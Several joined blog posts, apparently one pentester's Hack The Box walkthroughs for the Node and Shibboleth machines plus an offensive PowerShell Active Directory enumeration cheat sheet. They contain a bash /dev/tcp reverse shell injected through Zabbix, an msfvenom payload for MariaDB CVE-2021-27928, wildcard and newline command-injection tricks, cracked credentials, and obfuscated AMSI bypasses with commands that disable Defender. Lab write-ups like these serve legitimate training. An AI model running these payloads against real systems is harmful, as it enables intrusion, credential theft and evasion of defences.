+ inflating: root/.viminfo
+ creating: root/.nano/
+ extracting: root/.nano/search_history
+
It looks like we have root.txt 🥳. But it’s not over yet. We don’t have a shell.
Let’s transfer this file over to our local host machine and analyze the file on binaryninja. Open the main function in the disassembly Graph view.
After scrolling down, we can see that it has /root
as a bad character, resulting in the troll ASCII Art.
Further Scrolling down, we can get a list of all the bad chars that it doesn’t allow.
..
And if we go on doing this, we will find all the bad characters.
1
+
Bad chars : .. /root ; & ` $ | /etc // / etc
+
Looking at our bad chars list, we don’t have the *
nor ~
sign. We can use this to bypass and read the /root
directories files and content. For example, if we do the following command on our local machine.
1
+2
+3
+
$ cd ~
+$ cd r**t
+$ cd r??t
+
We will be returned to our home directory since there is no other directory it can get returned to. Hence we can read the root flag this way. Let us try it out.
1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r**t/roo*.txt
+
This gives us the root.txt
file content.
We can do the same steps as privilege escalation 1 to extract the file and retrieve the flag. We can also try to read the /etc/passwd
file and then try to crack it, then SSH as root on the machine.
1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "/e*c/shado*" ; echo
+
Extract the file by the same methods above, and then we can read the shadow file root hashes.
Open the main function in the disassembly Graph view. Scroll down to the part where it executes the zip command if the parameters are correct.
Here we can see it has the exec command for zipping the data, and below that, we can also see that it calls the system; which means we might be able to do command injection on the third parameter with the help of a new line and get root and it is not a bad char as well. Now let us find out how we can do the command injection.
Open the main function in ELF Linear View. We can see a command which gets executed if we enter the correct magic word. It will zip the file content in base64 and display it to us on the screen.
1
+
"/usr/bin/zip -r -P magicword %s %s > /dev/null"
+
As per the command, we can see it takes the last argument and pushes it to /dev/null
. Hence, the command won’t execute it. So we can try to execute /bin/bash
and get a root shell! We can do the command injection something like this.
1
+2
+3
+
"randomblahbla
+/bin/bash
+randomblahba"
+
We can’t do command injection in the first parameter since it has a bad char check for /
but not for the chars on a new line, and we can’t put it at the end as it will get flushed out to /dev/null
.
Lets try it out
WE ARE ROOT !!
A really good blog is written for this method of priv esc https://rastating.github.io/hackthebox-node-walkthrough/
HTB Profile : 0xStarlight
If you find my articles interesting, you can buy me a coffee
Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can get RCE and an initial shell as Zabbix. With password reuse, we can move laterally to ipmi-svc. To root the box, it’s a simple RCE on an outdated version of MySQL.
The first thing that I do is run nmap scan enumerating tcp and udp that show this results :
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
0xStarlight@kali$ nmap -sC -sV -Pn 10.10.11.124 -vv > nmap_tcp_scan.conf
+0xStarlight@kali$ nmap -sC -sV -sU -Pn 10.10.11.124 -vv > nmap_udp_scan.conf
+0xStarlight@kali$ cat nmap_tcp_scan.conf nmap_udp_scan.conf
+
+[SNIP...]
+PORT STATE SERVICE REASON VERSION
+80/tcp open tcpwrapped syn-ack
+| http-methods:
+|_ Supported Methods: GET HEAD POST OPTIONS
+|_http-server-header: Apache/2.4.41 (Ubuntu)
+|_http-title: Did not follow redirect to http://shibboleth.htb/
+|
+PORT STATE SERVICE VERSION
+623/udp open asf-rmcp
+1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
+SF-Port623-UDP:V=7.91%I=7%D=1/15%Time=61E2A6CF%P=x86_64-pc-linux-gnu%r(ipm
+SF:i-rmcp,1E,"\x06\0\xff\x07\0\0\0\0\0\0\0\0\0\x10\x81\x1cc\x20\x008\0\x01
+SF:\x97\x04\x03\0\0\0\0\t");
+
From the Nmap results, we can see that there is port 80, which is a web service apache 2.4.41, is running on the server with a hostname of shibboleth.htb
. So we can add it to our /etc/hosts
file.
On port 623, we can see the asf-rmcp service running. UDP IPMI service on port 623 is a quick way of discovering BMCs on the network.
Upon visiting the site, it seems to be made out of bootstrap. It has a few pages visible on the top. There is also a contact form which returns an error when submitted.
I tried feroxbuster, but no interesting page was returned to me. At the bottom of the page, we can view how the server is hosted.
Powered by enterprise monitoring solutions based on Zabbix and Bare Metal BMC automation.
Doing a lot of research on Bare Metal BMC displays many references about IPMI.
The next thing I tried was subdomain fuzzing using ffuf
. I’ll start the scan and immediately kill it, then use the -fw
tag to hide all the pages redirecting me to status 302 with word 18.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
0xStarlight@kali$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fw 18
+
+ /'___\ /'___\ /'___\
+ /\ \__/ /\ \__/ __ __ /\ \__/
+ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
+ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
+ \ \_\ \ \_\ \ \____/ \ \_\
+ \/_/ \/_/ \/___/ \/_/
+
+ v1.3.0 Kali Exclusive <3
+________________________________________________
+
+ :: Method : GET
+ :: URL : http://shibboleth.htb/
+ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
+ :: Header : Host: FUZZ.shibboleth.htb
+ :: Follow redirects : false
+ :: Calibration : false
+ :: Timeout : 10
+ :: Threads : 40
+ :: Matcher : Response status: 200,204,301,302,307,401,403,405
+ :: Filter : Response words: 18
+________________________________________________
+
+monitor [Status: 200, Size: 3684, Words: 192, Lines: 30]
+monitoring [Status: 200, Size: 3684, Words: 192, Lines: 30]
+zabbix [Status: 200, Size: 3684, Words: 192, Lines: 30]
+
I’ll add each of those to /etc/hosts
as well:
1
+
10.10.11.124 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb
+
We can see ZABBIX is running on this subdomain upon visiting the site. At the bottom, we can see the copyright till 2021. So this means we could be an outdated service abuse. Since we saw from shibboleth.htb
is powered by Bare Metal BMC automation, there could be a chance that we could abuse IMPI to get a valid login credential to log in.
One of the blogs, I read while researching stated that Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP).
The article on Hacktricks demonstrated the exploitation of IMPI and dumping of the users hashes.
Basically, you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back. Yeah, as amazing as it sounds. And there is a metasploit module for testing this.
1
+2
+3
+4
+5
+
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
+msf > set rhosts 10.10.11.124
+msf > exploit
+
+[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:2b68c64d82280000a8c1a7e2d84aba3e0410df33d1bf8d7f39a69fefdb2a49b26877364dbe132618a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:b2726f78047e0ccb5324cb8a4701686d29ad00a5
+
Now we have the administrators hash. we can crack the hash using hashcat and try to login using the found credentials.
1
+2
+3
+
0xStarlight@kali$ hashcat -m 7300 hash /home/kali/rockyou.txt
+
+password : ilovepumkinpie1
+
Great, now we have Administrator user valid credentials.
Useraname | Password |
---|---|
Administrator | ilovepumkinpie1 |
We can go back to monitor.shibboleth.htb
and log in as Administrator.
The end of the dashboard page displays the version of Zabbix, i.e., Zabbix 5.0.17. © 2001–2021, Zabbix SIA. I tried to google if there were any documents or any pre available exploits for the version Zabbix is running on.
After a lot of digging, I couldn’t find any pre available exploits for abusing Zabbix 5.0.17. Still, on reading the documentation of the Zabbix agent, the system data command mentioned that it was possible for command execution using the system.run[command,<mode>]
function.
Let’s try it out. First, set a listener on our machine.
1
+
0xStarlight@kali$ sudo rlwrap nc -lnvp 8888
+
Navigate to the following –> Configurations > Host > Items > create item
We can inject our payload for a reverse shell into the key value and then test the value to execute the command.
1
+
system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.x.x/8888 0>&1",nowait]
+
After receiving a reverse shell from Zabbix, we can make it into a stable shell to work on it more efficiently.
1
+
zabbix@shibboleth:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
+
I identified another user on the machine, ipmi-svc
. Since we already have a credential found, we can try to use that to elevate to that user.
1
+2
+3
+4
+5
+6
+
zabbix@shibboleth:/$ su ipmi-svc
+password : ilovepumkinpie1
+
+ipmi-svc@shibboleth:/$ whoami;id
+ipmi-svc
+uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)
+
The first thing I checked was Zabbix config file stored as /etc/zabbix/
to check if there would be any other user’s credentials hardcoded into it, which we may use for privilege escalation.
1
+
ipmi-svc@shibboleth:/$ grep -iR 'password' /etc/zabbix/ 2>/dev/null
+
Further reading the file, we can find the username and the password to access Zabbix’s database server.
Useraname | DBUser | DBPassword |
---|---|---|
zabbix | zabbix | bloooarskybluh |
I also ran linpeas on another shell to check if it returned anything interesting. It displayed MySQL is running on the machine on port 3306.
We can log in to the MYSQL databases server with the above credential.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
ipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbix
+password : bloooarskybluh
+
+Reading table information for completion of table and column names
+You can turn off this feature to get a quicker startup with -A
+
+Welcome to the MariaDB monitor. Commands end with ; or \g.
+Your MariaDB connection id is 17592
+Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
+
+Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+MariaDB [zabbix]>
+
On reading the server version, it’s currently running on MariaDB 10.3.25, an older version of MariaDB. Doing a quick google search, I found out it was vulnerable to remote code execution, which would give us privileged access as root user using CVE-2021-27928.
Using the CVE we can craft our payload and get root access.
Create the reverse shell payload and start the listener.
1
+2
+
0xStarlight@kali$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=9999 -f elf-so -o shell.so
+0xStarlight@kali$ sudo rlwrap nc -lnvp 9999
+
We can start a python server so we can transfer the file on ipmi-svc using wget.
1
+
0xStarlight@kali$ python3 -m http.server 80
+
Transfer the file, execute the payload and check on the listening listener to get a shell as root.
1
+2
+3
+
ipmi-svc@shibboleth:/$ wget http://10.10.x.x/shell.so -o /tmp/shell.so
+ipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbix -e 'SET GLOBAL wsrep_provider="/tmp/shell.so";'
+password : bloooarskybluh
+
HTB Profile : 0xStarlight
If you find my articles interesting, you can buy me a coffee
Welcome to my second article in the Red Teaming Series (Offensive PowerShell). I hope everyone has gone through the first article of this series which explains the basic foundations and concepts required to understand Active Directory.
If not so, you can give it a read from here.
This guide aims to explain the complete basics to advance enumeration code snippets in Offensive PowerShell and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.
This article will not contain any Attacking PowerShell snippets, ie. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket. The following topics will be covered in a later article.
I will cover the following topics under this guide:
Throughout the article, I will use PowerView, which is based on Powershell, to show how to retrieve information from Active Directory. This article has been created with references from a few other articles All used references for completing this article will be listed below. —
Powershell is the Windows Scripting Language and shell environment that is built using the .NET framework.
This also allows Powershell to execute .NET functions directly from its shell. Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects - making Powershell somewhat object oriented. This also means that running cmdlets allows you to perform actions on the output object(which makes it convenient to pass output from one cmdlet to another). The normal format of a cmdlet is represented using Verb-Noun; for example the cmdlet to list commands is called Get-Command.
Common verbs to use include:
Get-Help displays information about a cmdlet. To get help about a particular command, run the following:
1
+
Get-Help Command-Name
+
You can also understand how exactly to use the command by passing in the -examples
flag. This would return output like the following:
Get-Command gets all the cmdlets installed on the current Computer. The great thing about this cmdlet is that it allows for pattern matching like the following
1
+2
+3
+
Get-Command Verb-*
+# OR
+Get-Command *-Noun
+
Running the following to view all the cmdlets for the verb new displays the following:
1
+
Get-Command New-*
+
In the previous task, we saw how the output of every cmdlet is an object. If we want to actually manipulate the output, we need to figure out a few things:
The Pipeline(|
) is used to pass output from one cmdlet to another. A major difference compared to other shells is that instead of passing text or string to the command after the pipe, powershell passes an object to the next cmdlet. Like every object in object oriented frameworks, an object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet. To view these details, pass the output of a cmdlet to the Get-Member cmdlet
1
+
Verb-Noun | Get-Member
+
An example of running this to view the members for Get-Command is:
1
+
Get-Command | Get-Member -MemberType Method
+
From the above flag in the command, you can see that you can also select between methods and properties.
One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object
cmdlet.
Here’s an example of listing the directories and just selecting the mode and the name:
You can also use the following flags to select particular information:
When retrieving output objects, you may want to select objects that match a very specific value. You can do this using the Where-Object
to filter based on the value of properties.
The general format of the using this cmdlet is
1
+2
+3
+
Verb-Noun | Where-Object -Property PropertyName -operator Value
+# OR
+Verb-Noun | Where-Object {$_.PropertyName -operator Value}
+
The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.
Powershell is quite sensitive so make sure you don’t put quotes around the command!
Where -operator
is a list of the following operators:
For a full list of operators, use this link.
Here’s an example of checking the stopped processes:
When a cmdlet outputs a lot of information, you may need to sort it to extract the information more efficiently. You do this by pipe lining the output of a cmdlet to the Sort-Object
cmdlet.
The format of the command would be
1
+
Verb-Noun | Sort-Object
+
Here’s an example of sort the list of directories:
Once we get Initial access to our victim machine, we can upload our PowerShell scripts to start the enumeration process. We may notice that our shells get killed or fail at uploading because AV catches them.
Even tho AV evasion is a massive topic in itself. I will provide a brief explanation.
The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.”
For more information about AMSI, check out the Windows docs, https://docs.microsoft.com/en-us/windows/win32/amsi/
Find an example of how data flows inside of Windows security features below.
AMSI will send different response codes based on the results of its scans. Find a list of response codes from AMSI below.
AMSI is fully integrated into the following Windows components.
AMSI is instrumented in both System.Management.Automation.dll and within the CLR itself. When inside the CLR, it is assumed that Defender is already being instrumented; this means AMSI will only be called when loaded from memory.
We can look at what PowerShell security features physically look like and are written using InsecurePowerShell, https://github.com/PowerShell/PowerShell/compare/master…cobbr:master maintained by Cobbr. InsecurePowerShell is a GitHub repository of PowerShell with security features removed; this means we can look through the compared commits and identify any security features. AMSI is only instrumented in twelve lines of code under
1
+
src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs
+
Find the C# code used to instrument AMSI below.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
var scriptExtent = scriptBlockAst.Extent;
+if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
+{
+ var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
+ throw new ParseException(new[] { parseError });
+}
+
+if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
+{
+ HasSuspiciousContent = true;
+}
+
Third-parties can also instrument AMSI in their products using the methods outlined below.
Now that we understand the basics of AMSI and how its instrumented, we can begin bypassing AMSI using PowerShell. There are a large number of bypasses for AMSI available, below are a list of few AMSI bypasses.
1
+2
+3
+4
+5
+6
+
# AMSI obfuscation
+sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
+#Base64
+[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
+#On PowerShell 6
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
1
+2
+
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
+Powershell Set-MpPreference -DisableIOAVProtection $true
+
Since we bypassed AMSI and Real-Time protection, we can start with Domain Enumeration and map various entities, trusts, relationships and privileges for the target domain.
1
+
Get-NetDomain
+
1
+
Get-NetDomain -Domain <domain-name>
+
1
+
Get-DomainSID
+
1
+2
+
Get-DomainPolicy
+(Get-DomainPolicy)."system access"
+
1
+2
+3
+4
+5
+6
+7
+
(Get-DomainPolicy -domain <domain-name>)."system access"
+(Get-DomainPolicy -domain <domain-name>)."kerberos policy"
+(Get-DomainPolicy -domain <domain-name>)."Privilege Rights"
+# OR
+(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
+(Get-DomainPolicy)."SystemAccess" #Password policy
+(Get-DomainPolicy).PrivilegeRights #Check your privileges
+
Keep note of the kerberos policy as it will be required while making Golden Tickets using mimikats will require the same offsets else it will get blocked by the defenders
1
+
Get-NetDomainController
+
1
+
Get-NetDomainController -Domain <domain-name>
+
1
+2
+
Get-NetUser
+Get-NetUser -Username student1
+
1
+2
+3
+4
+
Get-UserProperty
+Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount
+Get-UserProperty -Properties logoncount
+Get-UserProperty -Properties badpwdcount
+
If the logon count and the bad password count of a user is tending to 0 it might be a decoy account. If the password last set of a user was also long back it might be a decoy account
1
+
Find-UserField -SearchField Description -SearchTerm "built"
+
1
+2
+3
+4
+
Get-NetComputer
+Get-NetComputer -OperatingSystem "*Server 2016*"
+Get-NetComputer -Ping
+Get-NetComputer -FullData
+
Any computer administrator can create a computer object in the domain which is not an actual computer/Virtual-Machine but its object type is a computer
1
+2
+3
+4
+
Get-NetGroup
+Get-NetGroup -Domain <targetdomain>
+Get-NetGroup -FullData
+Get-NetComputer -Domain
+
1
+2
+3
+4
+
Get-NetGroup *admin*
+Get-NetGroup -GroupName *admin*
+Get-NetGroup *admin* -FullData
+Get-NetGroup -GroupName *admin* -Doamin <domain-name>
+
Groups like “Enterprise Admins”,”Enterprise Key Admins”,etc will not be displayed in the above commands unless the domain is not specified because it is only available on the domain controllers of the forest root
1
+
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
+
Make sure to check the RID which is the last few charachters of the SID of the member-user as the name of the member-user might be different/changed but the RID is unique For example : It might be an Administrator account having a differnt/changed member-name but if you check the RID and it is “500” then it is an Administrator account
1
+
Get-NetGroup -UserName "student1"
+
1
+
Get-NetLocalGroup -ComputerName <servername> -ListGroups
+
1
+
Get-NetLocalGroup -ComputerName <servername> -Recurse
+
1
+
Get-NetLoggedon -ComputerName <servername>
+
1
+
Get-LoggedonLocal -ComputerName <servername>
+
1
+
Get-LastLoggedon -ComputerName <servername>
+
1
+
Invoke-ShareFinder -Verbose
+
1
+
Invoke-FileFinder -Verbose
+
1
+
Get-NetFileServer
+
Group Policy provides the ability to manage configuration and changes easily and centrally in AD.
Allows configuration of :
GPO can be abused for various attacks like privesc, backdoors, persistence etc.
1
+2
+3
+4
+5
+
Get-NetGPO
+Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local
+Get-GPO -All (GroupPolicy module)
+Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
+gpresult /R /V (GroupPolicy Results of current machine)
+
1
+
Get-NetGPOGroup
+
1
+
Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local
+
1
+
Find-GPOLocation -Username student1 -Verbose
+
1
+2
+
Get-NetOU -FullData
+Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} # Get all computers inside an OU (StudentMachines in this case)
+
1
+2
+
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
+Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module)
+
1
+2
+
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
+Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
+
The Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on:
1
+
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
+
1
+
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
+
1
+
(Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
+
1
+
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
+
1
+
Invoke-ACLScanner -ResolveGUIDs
+
1
+
Get-PathAcl -Path "\\<computer-name>\sysvol"
+
1
+
Find-InterestingDomainAcl -ResolveGUIDs
+
1
+2
+
Find-InterestingDomainAcl -ResolveGUIDs |
+?{$_.IdentityReference -match "RDPUsers"}
+
1
+
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
+
1
+
Get-NetDomainTrust
+
1
+
Get-NetForestDomain | Get-NetDomainTrust
+
1
+
Get-DomainTrustMapping
+
1
+
Get-ForestGlobalCatalog
+
1
+2
+
Get-ForestGlobalCatalog -Forest external.domain
+Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
+
1
+
Get-NetForestTrust
+
1
+
Get-DomainForeingUser
+
1
+
Get-DomainForeignGroupMember
+
1
+
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
+
1
+
Find-LocalAdminAccess
+
1
+
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
+
1
+
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
+
1
+
Invoke-EnumerateLocalAdmin
+
1
+
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
+
1
+
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
+
1
+
Invoke-UserHunter -CheckAccess
+
1
+
Invoke-UserHunter -GroupName "RDPUsers"
+
1
+
Invoke-UserHunter -Stealth
+
We can use SharpHound to collect the data, then use neo4j
and bloodhound
on our local machine and load the collected data.
The generated archive can be uploaded to the BloodHound application.
1
+2
+
. .\SharpHound.ps1
+Invoke-BloodHound -CollectionMethod All,LoggedOn
+
1
+
Invoke-BloodHound -CollectionMethod All -ExcludeDC
+
1
+2
+
0xStarlight@kali$ sudo neo4j console
+0xStarlight@kali$ bloodhound
+
If you find my articles interesting, you can buy me a coffee